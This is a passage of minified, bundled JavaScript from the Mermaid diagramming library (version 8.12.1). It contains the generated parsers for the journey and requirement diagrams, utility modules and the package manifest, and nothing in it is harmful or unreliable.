18:r.parseDirective("}%%","close_directive","journey")}},table:[{3:1,4:e,7:3,12:4,21:n},{1:[3]},t(r,[2,3],{5:6}),{3:7,4:e,7:3,12:4,21:n},{13:8,22:[1,9]},{22:[2,15]},{6:[1,10],7:18,8:11,9:[1,12],10:13,11:[1,14],12:4,17:i,18:a,19:o,21:n},{1:[2,2]},{14:19,15:[1,20],24:s},t([15,24],[2,16]),t(r,[2,8],{1:[2,1]}),t(r,[2,4]),{7:18,10:22,12:4,17:i,18:a,19:o,21:n},t(r,[2,6]),t(r,[2,7]),t(r,[2,11]),t(r,[2,12]),{20:[1,23]},t(r,[2,14]),{11:[1,24]},{16:25,23:[1,26]},{11:[2,18]},t(r,[2,5]),t(r,[2,13]),t(c,[2,9]),{14:27,24:s},{24:[2,17]},{11:[1,28]},t(c,[2,10])],defaultActions:{5:[2,15],7:[2,2],21:[2,18],26:[2,17]},parseError:function(t,e){if(!e.recoverable){var n=new Error(t);throw n.hash=e,n}this.trace(t)},parse:function(t){var e=this,n=[0],r=[],i=[null],a=[],o=this.table,s="",c=0,u=0,l=0,h=2,f=1,d=a.slice.call(arguments,1),p=Object.create(this.lexer),y={yy:{}};for(var g in this.yy)Object.prototype.hasOwnProperty.call(this.yy,g)&&(y.yy[g]=this.yy[g]);p.setInput(t,y.yy),y.yy.lexer=p,y.yy.parser=this,void 0===p.yylloc&&(p.yylloc={});var m=p.yylloc;a.push(m);var v=p.options&&p.options.ranges;function b(){var t;return"number"!=typeof(t=r.pop()||p.lex()||f)&&(t instanceof Array&&(t=(r=t).pop()),t=e.symbols_[t]||t),t}"function"==typeof y.yy.parseError?this.parseError=y.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;for(var x,_,k,w,T,E,C,S,A,M={};;){if(k=n[n.length-1],this.defaultActions[k]?w=this.defaultActions[k]:(null==x&&(x=b()),w=o[k]&&o[k][x]),void 0===w||!w.length||!w[0]){var O="";for(E in A=[],o[k])this.terminals_[E]&&E>h&&A.push("'"+this.terminals_[E]+"'");O=p.showPosition?"Parse error on line "+(c+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[x]||x)+"'":"Parse error on line "+(c+1)+": Unexpected "+(x==f?"end of input":"'"+(this.terminals_[x]||x)+"'"),this.parseError(O,{text:p.match,token:this.terminals_[x]||x,line:p.yylineno,loc:m,expected:A})}if(w[0]instanceof Array&&w.length>1)throw new Error("Parse Error: multiple actions possible at state: "+k+", token: "+x);switch(w[0]){case 1:n.push(x),i.push(p.yytext),a.push(p.yylloc),n.push(w[1]),x=null,_?(x=_,_=null):(u=p.yyleng,s=p.yytext,c=p.yylineno,m=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[w[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},v&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,u,c,y.yy,w[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[w[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},l={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=!1,this._backtrack=!1,this._input=this._input.slice(t[0].length),this.matched+=t[0],n=this.performAction.call(this,this.yy,this,e,this.conditionStack[this.conditionStack.length-1]),this.done&&this._input&&(this.done=!1),n)return n;if(this._backtrack){for(var a in i)this[a]=i[a];return!1}return!1},next:function(){if(this.done)return this.EOF;var t,e,n,r;this._input||(this.done=!0),this._more||(this.yytext="",this.match="");for(var i=this._currentRules(),a=0;ae[0].length)){if(e=n,r=a,this.options.backtrack_lexer){if(!1!==(t=this.test_match(n,i[a])))return t;if(this._backtrack){e=!1;continue}return!1}if(!this.options.flex)break}return e?!1!==(t=this.test_match(e,i[r]))&&t:""===this._input?this.EOF:this.parseError("Lexical error on line "+(this.yylineno+1)+". Unrecognized text.\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},lex:function(){var t=this.next();return t||this.lex()},begin:function(t){this.conditionStack.push(t)},popState:function(){return this.conditionStack.length-1>0?this.conditionStack.pop():this.conditionStack[0]},_currentRules:function(){return this.conditionStack.length&&this.conditionStack[this.conditionStack.length-1]?this.conditions[this.conditionStack[this.conditionStack.length-1]].rules:this.conditions.INITIAL.rules},topState:function(t){return(t=this.conditionStack.length-1-Math.abs(t||0))>=0?this.conditionStack[t]:"INITIAL"},pushState:function(t){this.begin(t)},stateStackSize:function(){return this.conditionStack.length},options:{"case-insensitive":!0},performAction:function(t,e,n,r){switch(n){case 0:return this.begin("open_directive"),21;case 1:return this.begin("type_directive"),22;case 2:return this.popState(),this.begin("arg_directive"),15;case 3:return this.popState(),this.popState(),24;case 4:return 23;case 5:case 6:break;case 7:return 11;case 8:case 9:break;case 10:return 4;case 11:return 17;case 12:return 18;case 13:return 19;case 14:return 20;case 15:return 15;case 16:return 6;case 17:return"INVALID"}},rules:[/^(?:%%\{)/i,/^(?:((?:(?!\}%%)[^:.])*))/i,/^(?::)/i,/^(?:\}%%)/i,/^(?:((?:(?!\}%%).|\n)*))/i,/^(?:%(?!\{)[^\n]*)/i,/^(?:[^\}]%%[^\n]*)/i,/^(?:[\n]+)/i,/^(?:\s+)/i,/^(?:#[^\n]*)/i,/^(?:journey\b)/i,/^(?:title\s[^#\n;]+)/i,/^(?:section\s[^#:\n;]+)/i,/^(?:[^#:\n;]+)/i,/^(?::[^#\n;]+)/i,/^(?::)/i,/^(?:$)/i,/^(?:.)/i],conditions:{open_directive:{rules:[1],inclusive:!1},type_directive:{rules:[2,3],inclusive:!1},arg_directive:{rules:[3,4],inclusive:!1},INITIAL:{rules:[0,5,6,7,8,9,10,11,12,13,14,15,16,17],inclusive:!0}}};function h(){this.yy={}}return u.lexer=l,h.prototype=u,u.Parser=h,new h}();e.parser=i,e.Parser=i.Parser,e.parse=function(){return i.parse.apply(i,arguments)},e.main=function(r){r[1]||(console.log("Usage: "+r[0]+" FILE"),t.exit(1));var i=n(17).readFileSync(n(18).normalize(r[1]),"utf8");return e.parser.parse(i)},n.c[n.s]===r&&e.main(t.argv.slice(1))}).call(this,n(12),n(7)(t))},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(11),i=n(6);e.default=function(t,e){return r.default.lang.round(i.default.parse(t)[e])}},function(t,e,n){var r=n(112),i=n(84),a=n(25);t.exports=function(t){return a(t)?r(t):i(t)}},function(t,e,n){var r;if(!r)try{r=n(0)}catch(t){}r||(r=window.d3),t.exports=r},function(t,e,n){"use strict";Object.defineProperty(e,"__esModule",{value:!0});var r=n(11),i=n(6);e.default=function(t,e,n){var a=i.default.parse(t),o=a[e],s=r.default.channel.clamp[e](o+n);return o!==s&&(a[e]=s),i.default.stringify(a)}},function(t,e,n){var r=n(215),i=n(221);t.exports=function(t,e){var n=i(t,e);return r(n)?n:void 0}},function(t,e,n){var r=n(40),i=n(217),a=n(218),o=r?r.toStringTag:void 0;t.exports=function(t){return null==t?void 0===t?"[object Undefined]":"[object Null]":o&&o in Object(t)?i(t):a(t)}},function(t,e,n){var r=n(112),i=n(241),a=n(25);t.exports=function(t){return a(t)?r(t,!0):i(t)}},function(t,e){t.exports=function(t){return t}},function(t){t.exports=JSON.parse('{"name":"mermaid","version":"8.12.1","description":"Markdownish syntax for generating flowcharts, sequence diagrams, class diagrams, gantt charts and git graphs.","main":"dist/mermaid.core.js","keywords":["diagram","markdown","flowchart","sequence diagram","gantt","class diagram","git graph"],"scripts":{"build:development":"webpack --progress --color","build:production":"yarn build:development --mode production --config webpack.config.prod.babel.js","build":"yarn build:development && yarn build:production","postbuild":"documentation build src/mermaidAPI.js src/config.js src/defaultConfig.js --shallow -f md --markdown-toc false > docs/Setup.md","build:watch":"yarn build --watch","release":"yarn build","lint":"eslint src","e2e:depr":"yarn lint && jest e2e --config e2e/jest.config.js","cypress":"percy exec -- cypress run","e2e":"start-server-and-test dev http://localhost:9000/ cypress","e2e-upd":"yarn lint && jest e2e -u --config e2e/jest.config.js","dev":"webpack serve --config webpack.config.e2e.js","test":"yarn lint && jest src/.*","test:watch":"jest --watch src","prepublishOnly":"yarn build && yarn test","prepare":"yarn build"},"repository":{"type":"git","url":"https://github.com/knsv/mermaid"},"author":"Knut Sveidqvist","license":"MIT","standard":{"ignore":["**/parser/*.js","dist/**/*.js","cypress/**/*.js"],"globals":["page"]},"dependencies":{"@braintree/sanitize-url":"^3.1.0","d3":"^5.16.0","dagre":"^0.8.5","dagre-d3":"^0.6.4","dompurify":"2.3.1","graphlib":"^2.1.8","khroma":"^1.4.1","moment-mini":"^2.24.0","stylis":"^4.0.10"},"devDependencies":{"@babel/core":"^7.14.6","@babel/eslint-parser":"^7.14.7","@babel/preset-env":"^7.14.7","@babel/register":"^7.14.5","@percy/cli":"^1.0.0-beta.58","@percy/cypress":"^3.1.0","@percy/migrate":"^0.11.0","babel-jest":"^27.0.6","babel-loader":"^8.2.2","coveralls":"^3.0.2","css-to-string-loader":"^0.1.3","cypress":"8.1.0","documentation":"13.2.0","eslint":"^7.30.0","eslint-config-prettier":"^8.3.0","eslint-plugin-prettier":"^3.4.0","husky":"^7.0.1","identity-obj-proxy":"^3.0.0","jest":"^27.0.6","jison":"^0.4.18","js-base64":"3.6.1","moment":"^2.23.0","prettier":"^2.3.2","start-server-and-test":"^1.12.6","terser-webpack-plugin":"^4.2.3","webpack":"^4.41.2","webpack-cli":"^4.7.2","webpack-dev-server":"^3.4.1","webpack-node-externals":"^3.0.0"},"files":["dist"],"sideEffects":["**/*.css","**/*.scss"],"husky":{"hooks":{"pre-push":"yarn test"}}}')},function(t,e){t.exports=function(t,e){return t===e||t!=t&&e!=e}},function(t,e,n){var r=n(34),i=n(14);t.exports=function(t){if(!i(t))return!1;var e=r(t);return"[object Function]"==e||"[object GeneratorFunction]"==e||"[object AsyncFunction]"==e||"[object Proxy]"==e}},function(t,e,n){var r=n(19).Symbol;t.exports=r},function(t,e,n){(function(t){var r=n(19),i=n(237),a=e&&!e.nodeType&&e,o=a&&"object"==typeof t&&t&&!t.nodeType&&t,s=o&&o.exports===a?r.Buffer:void 0,c=(s?s.isBuffer:void 0)||i;t.exports=c}).call(this,n(7)(t))},function(t,e,n){var r=n(246),i=n(79),a=n(247),o=n(121),s=n(248),c=n(34),u=n(110),l=u(r),h=u(i),f=u(a),d=u(o),p=u(s),y=c;(r&&"[object DataView]"!=y(new r(new ArrayBuffer(1)))||i&&"[object Map]"!=y(new i)||a&&"[object Promise]"!=y(a.resolve())||o&&"[object Set]"!=y(new o)||s&&"[object WeakMap]"!=y(new s))&&(y=function(t){var e=c(t),n="[object Object]"==e?t.constructor:void 0,r=n?u(n):"";if(r)switch(r){case l:return"[object DataView]";case h:return"[object Map]";case f:return"[object Promise]";case d:return"[object Set]";case p:return"[object WeakMap]"}return e}),t.exports=y},function(t,e,n){var r=n(34),i=n(21);t.exports=function(t){return"symbol"==typeof t||i(t)&&"[object Symbol]"==r(t)}},function(t,e,n){var r;try{r={defaults:n(154),each:n(89),isFunction:n(39),isPlainObject:n(158),pick:n(161),has:n(94),range:n(162),uniqueId:n(163)}}catch(t){}r||(r=window._),t.exports=r},function(t,e,n){(function(t,r){var i=function(){var t=function(t,e,n,r){for(n=n||{},r=t.length;r--;n[t[r]]=e);return n},e=[1,3],n=[1,5],r=[1,17],i=[2,10],a=[1,21],o=[1,22],s=[1,23],c=[1,24],u=[1,25],l=[1,26],h=[1,19],f=[1,27],d=[1,28],p=[1,31],y=[66,67],g=[5,8,14,35,36,37,38,39,40,48,55,57,66,67],m=[5,6,8,14,35,36,37,38,39,40,48,66,67],v=[1,51],b=[1,52],x=[1,53],_=[1,54],k=[1,55],w=[1,56],T=[1,57],E=[57,58],C=[1,69],S=[1,65],A=[1,66],M=[1,67],O=[1,68],N=[1,70],B=[1,74],D=[1,75],L=[1,72],I=[1,73],R=[5,8,14,35,36,37,38,39,40,48,66,67],F={trace:function(){},yy:{},symbols_:{error:2,start:3,directive:4,NEWLINE:5,RD:6,diagram:7,EOF:8,openDirective:9,typeDirective:10,closeDirective:11,":":12,argDirective:13,open_directive:14,type_directive:15,arg_directive:16,close_directive:17,requirementDef:18,elementDef:19,relationshipDef:20,requirementType:21,requirementName:22,STRUCT_START:23,requirementBody:24,ID:25,COLONSEP:26,id:27,TEXT:28,text:29,RISK:30,riskLevel:31,VERIFYMTHD:32,verifyType:33,STRUCT_STOP:34,REQUIREMENT:35,FUNCTIONAL_REQUIREMENT:36,INTERFACE_REQUIREMENT:37,PERFORMANCE_REQUIREMENT:38,PHYSICAL_REQUIREMENT:39,DESIGN_CONSTRAINT:40,LOW_RISK:41,MED_RISK:42,HIGH_RISK:43,VERIFY_ANALYSIS:44,VERIFY_DEMONSTRATION:45,VERIFY_INSPECTION:46,VERIFY_TEST:47,ELEMENT:48,elementName:49,elementBody:50,TYPE:51,type:52,DOCREF:53,ref:54,END_ARROW_L:55,relationship:56,LINE:57,END_ARROW_R:58,CONTAINS:59,COPIES:60,DERIVES:61,SATISFIES:62,VERIFIES:63,REFINES:64,TRACES:65,unqString:66,qString:67,$accept:0,$end:1},terminals_:{2:"error",5:"NEWLINE",6:"RD",8:"EOF",12:":",14:"open_directive",15:"type_directive",16:"arg_directive",17:"close_directive",23:"STRUCT_START",25:"ID",26:"COLONSEP",28:"TEXT",30:"RISK",32:"VERIFYMTHD",34:"STRUCT_STOP",35:"REQUIREMENT",36:"FUNCTIONAL_REQUIREMENT",37:"INTERFACE_REQUIREMENT",38:"PERFORMANCE_REQUIREMENT",39:"PHYSICAL_REQUIREMENT",40:"DESIGN_CONSTRAINT",41:"LOW_RISK",42:"MED_RISK",43:"HIGH_RISK",44:"VERIFY_ANALYSIS",45:"VERIFY_DEMONSTRATION",46:"VERIFY_INSPECTION",47:"VERIFY_TEST",48:"ELEMENT",51:"TYPE",53:"DOCREF",55:"END_ARROW_L",57:"LINE",58:"END_ARROW_R",59:"CONTAINS",60:"COPIES",61:"DERIVES",62:"SATISFIES",63:"VERIFIES",64:"REFINES",65:"TRACES",66:"unqString",67:"qString"},productions_:[0,[3,3],[3,2],[3,4],[4,3],[4,5],[9,1],[10,1],[13,1],[11,1],[7,0],[7,2],[7,2],[7,2],[7,2],[7,2],[18,5],[24,5],[24,5],[24,5],[24,5],[24,2],[24,1],[21,1],[21,1],[21,1],[21,1],[21,1],[21,1],[31,1],[31,1],[31,1],[33,1],[33,1],[33,1],[33,1],[19,5],[50,5],[50,5],[50,2],[50,1],[20,5],[20,5],[56,1],[56,1],[56,1],[56,1],[56,1],[56,1],[56,1],[22,1],[22,1],[27,1],[27,1],[29,1],[29,1],[49,1],[49,1],[52,1],[52,1],[54,1],[54,1]],performAction:function(t,e,n,r,i,a,o){var s=a.length-1;switch(i){case 6:r.parseDirective("%%{","open_directive");break;case 7:r.parseDirective(a[s],"type_directive");break;case 8:a[s]=a[s].trim().replace(/'/g,'"'),r.parseDirective(a[s],"arg_directive");break;case 9:r.parseDirective("}%%","close_directive","pie");break;case 10:this.$=[];break;case 16:r.addRequirement(a[s-3],a[s-4]);break;case 17:r.setNewReqId(a[s-2]);break;case 18:r.setNewReqText(a[s-2]);break;case 19:r.setNewReqRisk(a[s-2]);break;case 20:r.setNewReqVerifyMethod(a[s-2]);break;case 23:this.$=r.RequirementType.REQUIREMENT;break;case 24:this.$=r.RequirementType.FUNCTIONAL_REQUIREMENT;break;case 25:this.$=r.RequirementType.INTERFACE_REQUIREMENT;break;case 26:this.$=r.RequirementType.PERFORMANCE_REQUIREMENT;break;case 27:this.$=r.RequirementType.PHYSICAL_REQUIREMENT;break;case 28:this.$=r.RequirementType.DESIGN_CONSTRAINT;break;case 29:this.$=r.RiskLevel.LOW_RISK;break;case 30:this.$=r.RiskLevel.MED_RISK;break;case 31:this.$=r.RiskLevel.HIGH_RISK;break;case 32:this.$=r.VerifyType.VERIFY_ANALYSIS;break;case 33:this.$=r.VerifyType.VERIFY_DEMONSTRATION;break;case 34:this.$=r.VerifyType.VERIFY_INSPECTION;break;case 35:this.$=r.VerifyType.VERIFY_TEST;break;case 36:r.addElement(a[s-3]);break;case 37:r.setNewElementType(a[s-2]);break;case 38:r.setNewElementDocRef(a[s-2]);break;case 41:r.addRelationship(a[s-2],a[s],a[s-4]);break;case 42:r.addRelationship(a[s-2],a[s-4],a[s]);break;case 43:this.$=r.Relationships.CONTAINS;break;case 44:this.$=r.Relationships.COPIES;break;case 45:this.$=r.Relationships.DERIVES;break;case 46:this.$=r.Relationships.SATISFIES;break;case 47:this.$=r.Relationships.VERIFIES;break;case 48:this.$=r.Relationships.REFINES;break;case 49:this.$=r.Relationships.TRACES}},table:[{3:1,4:2,6:e,9:4,14:n},{1:[3]},{3:7,4:2,5:[1,6],6:e,9:4,14:n},{5:[1,8]},{10:9,15:[1,10]},{15:[2,6]},{3:11,4:2,6:e,9:4,14:n},{1:[2,2]},{4:16,5:r,7:12,8:i,9:4,14:n,18:13,19:14,20:15,21:18,27:20,35:a,36:o,37:s,38:c,39:u,40:l,48:h,66:f,67:d},{11:29,12:[1,30],17:p},t([12,17],[2,7]),{1:[2,1]},{8:[1,32]},{4:16,5:r,7:33,8:i,9:4,14:n,18:13,19:14,20:15,21:18,27:20,35:a,36:o,37:s,38:c,39:u,40:l,48:h,66:f,67:d},{4:16,5:r,7:34,8:i,9:4,14:n,18:13,19:14,20:15,21:18,27:20,35:a,36:o,37:s,38:c,39:u,40:l,48:h,66:f,67:d},{4:16,5:r,7:35,8:i,9:4,14:n,18:13,19:14,20:15,21:18,27:20,35:a,36:o,37:s,38:c,39:u,40:l,48:h,66:f,67:d},{4:16,5:r,7:36,8:i,9:4,14:n,18:13,19:14,20:15,21:18,27:20,35:a,36:o,37:s,38:c,39:u,40:l,48:h,66:f,67:d},{4:16,5:r,7:37,8:i,9:4,14:n,18:13,19:14,20:15,21:18,27:20,35:a,36:o,37:s,38:c,39:u,40:l,48:h,66:f,67:d},{22:38,66:[1,39],67:[1,40]},{49:41,66:[1,42],67:[1,43]},{55:[1,44],57:[1,45]},t(y,[2,23]),t(y,[2,24]),t(y,[2,25]),t(y,[2,26]),t(y,[2,27]),t(y,[2,28]),t(g,[2,52]),t(g,[2,53]),t(m,[2,4]),{13:46,16:[1,47]},t(m,[2,9]),{1:[2,3]},{8:[2,11]},{8:[2,12]},{8:[2,13]},{8:[2,14]},{8:[2,15]},{23:[1,48]},{23:[2,50]},{23:[2,51]},{23:[1,49]},{23:[2,56]},{23:[2,57]},{56:50,59:v,60:b,61:x,62:_,63:k,64:w,65:T},{56:58,59:v,60:b,61:x,62:_,63:k,64:w,65:T},{11:59,17:p},{17:[2,8]},{5:[1,60]},{5:[1,61]},{57:[1,62]},t(E,[2,43]),t(E,[2,44]),t(E,[2,45]),t(E,[2,46]),t(E,[2,47]),t(E,[2,48]),t(E,[2,49]),{58:[1,63]},t(m,[2,5]),{5:C,24:64,25:S,28:A,30:M,32:O,34:N},{5:B,34:D,50:71,51:L,53:I},{27:76,66:f,67:d},{27:77,66:f,67:d},t(R,[2,16]),{26:[1,78]},{26:[1,79]},{26:[1,80]},{26:[1,81]},{5:C,24:82,25:S,28:A,30:M,32:O,34:N},t(R,[2,22]),t(R,[2,36]),{26:[1,83]},{26:[1,84]},{5:B,34:D,50:85,51:L,53:I},t(R,[2,40]),t(R,[2,41]),t(R,[2,42]),{27:86,66:f,67:d},{29:87,66:[1,88],67:[1,89]},{31:90,41:[1,91],42:[1,92],43:[1,93]},{33:94,44:[1,95],45:[1,96],46:[1,97],47:[1,98]},t(R,[2,21]),{52:99,66:[1,100],67:[1,101]},{54:102,66:[1,103],67:[1,104]},t(R,[2,39]),{5:[1,105]},{5:[1,106]},{5:[2,54]},{5:[2,55]},{5:[1,107]},{5:[2,29]},{5:[2,30]},{5:[2,31]},{5:[1,108]},{5:[2,32]},{5:[2,33]},{5:[2,34]},{5:[2,35]},{5:[1,109]},{5:[2,58]},{5:[2,59]},{5:[1,110]},{5:[2,60]},{5:[2,61]},{5:C,24:111,25:S,28:A,30:M,32:O,34:N},{5:C,24:112,25:S,28:A,30:M,32:O,34:N},{5:C,24:113,25:S,28:A,30:M,32:O,34:N},{5:C,24:114,25:S,28:A,30:M,32:O,34:N},{5:B,34:D,50:115,51:L,53:I},{5:B,34:D,50:116,51:L,53:I},t(R,[2,17]),t(R,[2,18]),t(R,[2,19]),t(R,[2,20]),t(R,[2,37]),t(R,[2,38])],defaultActions:{5:[2,6],7:[2,2],11:[2,1],32:[2,3],33:[2,11],34:[2,12],35:[2,13],36:[2,14],37:[2,15],39:[2,50],40:[2,51],42:[2,56],43:[2,57],47:[2,8],88:[2,54],89:[2,55],91:[2,29],92:[2,30],93:[2,31],95:[2,32],96:[2,33],97:[2,34],98:[2,35],100:[2,58],101:[2,59],103:[2,60],104:[2,61]},parseError:function(t,e){if(!e.recoverable){var n=new Error(t);throw n.hash=e,n}this.trace(t)},parse:function(t){var e=this,n=[0],r=[],i=[null],a=[],o=this.table,s="",c=0,u=0,l=0,h=2,f=1,d=a.slice.call(arguments,1),p=Object.create(this.lexer),y={yy:{}};for(var g in this.yy)Object.prototype.hasOwnProperty.call(this.yy,g)&&(y.yy[g]=this.yy[g]);p.setInput(t,y.yy),y.yy.lexer=p,y.yy.parser=this,void 0===p.yylloc&&(p.yylloc={});var m=p.yylloc;a.push(m);var v=p.options&&p.options.ranges;function b(){var t;return"number"!=typeof(t=r.pop()||p.lex()||f)&&(t instanceof Array&&(t=(r=t).pop()),t=e.symbols_[t]||t),t}"function"==typeof y.yy.parseError?this.parseError=y.yy.parseError:this.parseError=Object.getPrototypeOf(this).parseError;for(var x,_,k,w,T,E,C,S,A,M={};;){if(k=n[n.length-1],this.defaultActions[k]?w=this.defaultActions[k]:(null==x&&(x=b()),w=o[k]&&o[k][x]),void 0===w||!w.length||!w[0]){var O="";for(E in A=[],o[k])this.terminals_[E]&&E>h&&A.push("'"+this.terminals_[E]+"'");O=p.showPosition?"Parse error on line "+(c+1)+":\n"+p.showPosition()+"\nExpecting "+A.join(", ")+", got '"+(this.terminals_[x]||x)+"'":"Parse error on line "+(c+1)+": Unexpected "+(x==f?"end of input":"'"+(this.terminals_[x]||x)+"'"),this.parseError(O,{text:p.match,token:this.terminals_[x]||x,line:p.yylineno,loc:m,expected:A})}if(w[0]instanceof Array&&w.length>1)throw new Error("Parse Error: multiple actions possible at state: "+k+", token: "+x);switch(w[0]){case 1:n.push(x),i.push(p.yytext),a.push(p.yylloc),n.push(w[1]),x=null,_?(x=_,_=null):(u=p.yyleng,s=p.yytext,c=p.yylineno,m=p.yylloc,l>0&&l--);break;case 2:if(C=this.productions_[w[1]][1],M.$=i[i.length-C],M._$={first_line:a[a.length-(C||1)].first_line,last_line:a[a.length-1].last_line,first_column:a[a.length-(C||1)].first_column,last_column:a[a.length-1].last_column},v&&(M._$.range=[a[a.length-(C||1)].range[0],a[a.length-1].range[1]]),void 0!==(T=this.performAction.apply(M,[s,u,c,y.yy,w[1],i,a].concat(d))))return T;C&&(n=n.slice(0,-1*C*2),i=i.slice(0,-1*C),a=a.slice(0,-1*C)),n.push(this.productions_[w[1]][0]),i.push(M.$),a.push(M._$),S=o[n[n.length-2]][n[n.length-1]],n.push(S);break;case 3:return!0}}return!0}},P={EOF:1,parseError:function(t,e){if(!this.yy.parser)throw new Error(t);this.yy.parser.parseError(t,e)},setInput:function(t,e){return this.yy=e||this.yy||{},this._input=t,this._more=this._backtrack=this.done=!1,this.yylineno=this.yyleng=0,this.yytext=this.matched=this.match="",this.conditionStack=["INITIAL"],this.yylloc={first_line:1,first_column:0,last_line:1,last_column:0},this.options.ranges&&(this.yylloc.range=[0,0]),this.offset=0,this},input:function(){var t=this._input[0];return this.yytext+=t,this.yyleng++,this.offset++,this.match+=t,this.matched+=t,t.match(/(?:\r\n?|\n).*/g)?(this.yylineno++,this.yylloc.last_line++):this.yylloc.last_column++,this.options.ranges&&this.yylloc.range[1]++,this._input=this._input.slice(1),t},unput:function(t){var e=t.length,n=t.split(/(?:\r\n?|\n)/g);this._input=t+this._input,this.yytext=this.yytext.substr(0,this.yytext.length-e),this.offset-=e;var r=this.match.split(/(?:\r\n?|\n)/g);this.match=this.match.substr(0,this.match.length-1),this.matched=this.matched.substr(0,this.matched.length-1),n.length-1&&(this.yylineno-=n.length-1);var i=this.yylloc.range;return this.yylloc={first_line:this.yylloc.first_line,last_line:this.yylineno+1,first_column:this.yylloc.first_column,last_column:n?(n.length===r.length?this.yylloc.first_column:0)+r[r.length-n.length].length-n[0].length:this.yylloc.first_column-e},this.options.ranges&&(this.yylloc.range=[i[0],i[0]+this.yyleng-e]),this.yyleng=this.yytext.length,this},more:function(){return this._more=!0,this},reject:function(){return this.options.backtrack_lexer?(this._backtrack=!0,this):this.parseError("Lexical error on line "+(this.yylineno+1)+". You can only invoke reject() in the lexer when the lexer is of the backtracking persuasion (options.backtrack_lexer = true).\n"+this.showPosition(),{text:"",token:null,line:this.yylineno})},less:function(t){this.unput(this.match.slice(t))},pastInput:function(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\n/g,"")},upcomingInput:function(){var t=this.match;return t.length<20&&(t+=this._input.substr(0,20-t.length)),(t.substr(0,20)+(t.length>20?"...":"")).replace(/\n/g,"")},showPosition:function(){var t=this.pastInput(),e=new Array(t.length+1).join("-");return t+this.upcomingInput()+"\n"+e+"^"},test_match:function(t,e){var n,r,i;if(this.options.backtrack_lexer&&(i={yylineno:this.yylineno,yylloc:{first_line:this.yylloc.first_line,last_line:this.last_line,first_column:this.yylloc.first_column,last_column:this.yylloc.last_column},yytext:this.yytext,match:this.match,matches:this.matches,matched:this.matched,yyleng:this.yyleng,offset:this.offset,_more:this._more,_input:this._input,yy:this.yy,conditionStack:this.conditionStack.slice(0),done:this.done},this.options.ranges&&(i.yylloc.range=this.yylloc.range.slice(0))),(r=t[0].match(/(?:\r\n?|\n).*/g))&&(this.yylineno+=r.length),this.yylloc={first_line:this.yylloc.last_line,last_line:this.yylineno+1,first_column:this.yylloc.last_column,last_column:r?r[r.length-1].length-r[r.length-1].match(/\r?\n?/)[0].length:this.yylloc.last_column+t[0].length},this.yytext+=t[0],this.match+=t[0],this.matches=t,this.yyleng=this.yytext.length,this.options.ranges&&(this.yylloc.range=[this.offset,this.offset+=this.yyleng]),this._more=